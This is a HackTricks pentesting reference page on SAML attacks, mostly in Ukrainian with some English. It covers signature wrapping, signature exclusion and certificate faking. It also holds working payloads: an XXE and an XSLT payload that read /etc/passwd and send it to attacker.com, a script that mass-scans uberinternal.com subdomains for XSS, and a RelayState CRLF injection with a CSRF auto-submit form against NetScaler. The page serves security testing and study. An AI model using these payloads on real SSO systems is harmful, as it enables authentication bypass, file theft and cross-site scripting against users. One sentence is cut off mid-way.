SAML Attacks

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Базова інформація

SAML Basics

Інструмент

SAMLExtractor: Інструмент, який може приймати URL або список URL і повертати SAML consume URL.

XML round-trip

У XML підписана частина XML зберігається в пам’яті, потім виконується певне кодування/декодування і перевіряється підпис. Ідеально це кодування/декодування не повинно змінювати дані, але в такому сценарії перевірені дані та оригінальні дані можуть не збігатися.

Наприклад, перегляньте наступний код:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Запуск програми проти REXML 3.2.4 або раніших версій призвів би натомість до наступного виводу:

First child in original doc: Y
First child after round-trip: Z

Ось як REXML побачив оригінальний XML-документ з програми вище:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

А ось як це виглядало після циклу парсингу та серіалізації:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Для детальнішої інформації про вразливість та способи її використання:

XML Signature Wrapping Attacks

У рамках XML Signature Wrapping attacks (XSW) зловмисники використовують вразливість, що виникає, коли XML-документи обробляються в два різні етапи: перевірка підпису та виклик функції. Ці атаки передбачають зміну структури XML-документа. Зокрема, атакуючий вводить підроблені елементи, які не порушують дійсність XML Signature. Така маніпуляція має на меті створити невідповідність між елементами, які аналізує логіка застосунку, і тими, які перевіряє модуль валідації підпису. В результаті, хоча XML Signature технічно лишається дійсним і проходить перевірку, логіка застосунку опрацьовує шахрайські елементи. Відтак атакуючий ефективно обходить захист цілісності та аутентифікацію походження XML Signature, дозволяючи вставляти довільний вміст без виявлення.

Наступні атаки базуються на this blog post та this paper. Тож перегляньте їх для детальнішої інформації.

XSW #1

  • Стратегія: Додається новий кореневий елемент, що містить підпис.
  • Наслідок: Валідатор може сплутати легітимний “Response -> Assertion -> Subject” із атаковим “evil new Response -> Assertion -> Subject”, що призводить до проблем цілісності даних.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Відмінність від XSW #1: Використовує detached signature замість enveloping signature.
  • Наслідок: “evil” структура, схожа на XSW #1, має на меті ввести в оману бізнес-логіку після перевірки цілісності.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Стратегія: Зловмисна Assertion створюється на тому ж ієрархічному рівні, що й оригінальна Assertion.
  • Наслідок: Мета — заплутати бізнес-логіку, щоб вона використовувала шкідливі дані.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Відмінність від XSW #3: Оригінальна Assertion стає дочірньою для продубльованої (evil) Assertion.
  • Наслідок: Схоже на XSW #3, але більш агресивно змінює структуру XML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Особливість: Ні Signature, ні оригінальна Assertion не відповідають стандартним конфігураціям (enveloped/enveloping/detached).
  • Наслідок: Скопійована Assertion огортає Signature, змінюючи очікувану структуру документа.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Стратегія: Вставка в подібне місце, як у XSW #4 і #5, але з особливістю.
  • Наслідок: Скопійована Assertion огортає Signature, яка потім огортає оригінальну Assertion, створюючи вкладену обманну структуру.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Стратегія: Вставляється елемент Extensions з копійованою Assertion як дочірнім елементом.
  • Наслідок: Це використовує менш сувору схему елемента Extensions, щоб обійти контрзаходи валідації схеми, особливо в бібліотеках на кшталт OpenSAML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Відмінність від XSW #7: Використовується інший менш суворий XML-елемент для варіанту атаки.
  • Наслідок: Оригінальна Assertion стає дочірньою менш суворого елемента, інвертуючи структуру, використану в XSW #7.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Інструмент

Ви можете використати розширення Burp SAML Raider для парсингу запиту, застосування будь-якої XSW-атаки та її запуску.

XXE

Якщо ви не знаєте, які саме атаки є XXE, будь ласка, прочитайте наступну сторінку:

XXE - XEE - XML External Entity

SAML Responses є deflated and base64 encoded XML documents і можуть бути вразливими до XML External Entity (XXE) атак. Маніпулюючи XML-структурою SAML Response, атакуючі можуть намагатися експлуатувати XXE-вразливості. Нижче показано, як можна візуалізувати таку атаку:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Інструменти

Ви також можете використовувати розширення Burp SAML Raider для генерації POC з SAML-запиту, щоб перевірити можливі XXE-вразливості та вразливості SAML.

Також перегляньте цю доповідь: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

Для додаткової інформації про XSLT дивіться:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT) можна використовувати для перетворення XML-документів у різні формати, такі як HTML, JSON або PDF. Важливо зазначити, що XSLT-перетворення виконуються до перевірки цифрового підпису. Це означає, що атака може бути успішною навіть без дійсного підпису; самопідписаний або недійсний підпис достатній для продовження.

Тут ви можете знайти POC для перевірки такого роду вразливостей; на сторінці hacktricks, згаданій на початку цього розділу, можна знайти payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Інструмент

You can also use the Burp extension SAML Raider to generate the POC from a SAML request to test for possible XSLT vulnerabilities.

Також перегляньте цю презентацію: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

The XML Signature Exclusion observes the behavior of SAML implementations when the Signature element is not present. If this element is missing, signature validation may not occur, making it vulnerable. It’s possibel to test this by altering the contents that are usually verified by the signature.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Інструмент

You can also use the Burp extension SAML Raider. Intercept the SAML Response and click Remove Signatures. In doing so all Signature elements are removed.

With the signatures removed, allow the request to proceed to the target. If the Signature isn’t required by the Service

Certificate Faking

Certificate Faking

Certificate Faking is a technique to test if a Service Provider (SP) properly verifies that a SAML Message is signed by a trusted Identity Provider (IdP). It involves using a *self-signed certificate to sign the SAML Response or Assertion, which helps in evaluating the trust validation process between SP and IdP.

Як виконати Certificate Faking

The following steps outline the process using the SAML Raider Burp extension:

  1. Intercept the SAML Response.
  2. If the response contains a signature, send the certificate to SAML Raider Certs using the Send Certificate to SAML Raider Certs button.
  3. In the SAML Raider Certificates tab, select the imported certificate and click Save and Self-Sign to create a self-signed clone of the original certificate.
  4. Go back to the intercepted request in Burp’s Proxy. Select the new self-signed certificate from the XML Signature dropdown.
  5. Remove any existing signatures with the Remove Signatures button.
  6. Sign the message or assertion with the new certificate using the (Re-)Sign Message or (Re-)Sign Assertion button, as appropriate.
  7. Forward the signed message. Successful authentication indicates that the SP accepts messages signed by your self-signed certificate, revealing potential vulnerabilities in the validation process of the SAML messages.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion and Service Provider Target Confusion involve checking whether the Service Provider correctly validates the intended recipient of a response. In essence, a Service Provider should reject an authentication response if it was meant for a different provider. The critical element here is the Recipient field, found within the SubjectConfirmationData element of a SAML Response. This field specifies a URL indicating where the Assertion must be sent. If the actual recipient does not match the intended Service Provider, the Assertion should be deemed invalid.

Як це працює

For a SAML Token Recipient Confusion (SAML-TRC) attack to be feasible, certain conditions must be met. Firstly, there must be a valid account on a Service Provider (referred to as SP-Legit). Secondly, the targeted Service Provider (SP-Target) must accept tokens from the same Identity Provider that serves SP-Legit.

The attack process is straightforward under these conditions. An authentic session is initiated with SP-Legit via the shared Identity Provider. The SAML Response from the Identity Provider to SP-Legit is intercepted. This intercepted SAML Response, originally intended for SP-Legit, is then redirected to SP-Target. Success in this attack is measured by SP-Target accepting the Assertion, granting access to resources under the same account name used for SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS у функціональності Logout

Оригінальне дослідження доступне за цим посиланням.

Під час directory brute forcing було виявлено сторінку logout за адресою:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Після переходу за цим посиланням відбулося перенаправлення на:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Це виявило, що параметр base приймає URL. Врахувавши це, виникла ідея підставити URL як javascript:alert(123);, щоб спробувати ініціювати XSS (Cross-Site Scripting).

Масова експлуатація

From this research:

Інструмент SAMLExtractor було використано для аналізу субдоменів uberinternal.com на предмет доменів, які використовують ту саму бібліотеку. Надалі був розроблений скрипт, що націлювався на сторінку oidauth/prompt. Цей скрипт перевіряє на XSS (Cross-Site Scripting), вводячи дані та перевіряючи, чи відображаються вони у відповіді. У випадках, коли введені дані дійсно відображаються, скрипт позначає сторінку як вразливу.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

RelayState-based header/body injection to rXSS

Деякі SAML SSO endpoints декодують RelayState і потім відображають його у відповіді без санітизації. Якщо ви можете інжектувати переноси рядків і перезаписати заголовок Content-Type, ви можете змусити браузер відрендерити HTML, контрольований атакуючим, що призведе до reflected XSS.

  • Ідея: зловживати response-splitting через інжекцію переносів рядків у відображуваному RelayState. Див. також загальні нотатки в CRLF injection.
  • Працює навіть коли RelayState декодується сервером з base64: передайте base64, що декодується у послідовність для header/body injection.

Generalized steps:

  1. Сформуйте послідовність для header/body injection, яка починається з переносу рядка, перезапишіть заголовок Content-Type на HTML, потім інжектуйте HTML/JS payload:

Concept:

\n
Content-Type: text/html


<svg/onload=alert(1)>
  1. URL-encode the sequence (example):
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
  1. Base64-encode that URL-encoded string and place it in RelayState.

Example base64 (from the sequence above):

DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
  1. Відправте POST з синтаксично валідним SAMLResponse і підготовленим RelayState на SSO endpoint (наприклад, /cgi/logout).
  2. Доставте через CSRF: розмістіть сторінку, яка автоматично відправляє cross-origin POST до цільового origin, включаючи обидва поля.

PoC проти NetScaler SSO endpoint (/cgi/logout):

POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

CSRF схема доставки:

<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>

Чому це працює: сервер декодує RelayState і включає його у відповідь таким чином, що дозволяє newline injection, даючи attacker можливість впливати на заголовки та тіло. Примусове встановлення Content-Type: text/html змушує браузер рендерити attacker-controlled HTML з тіла відповіді.

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks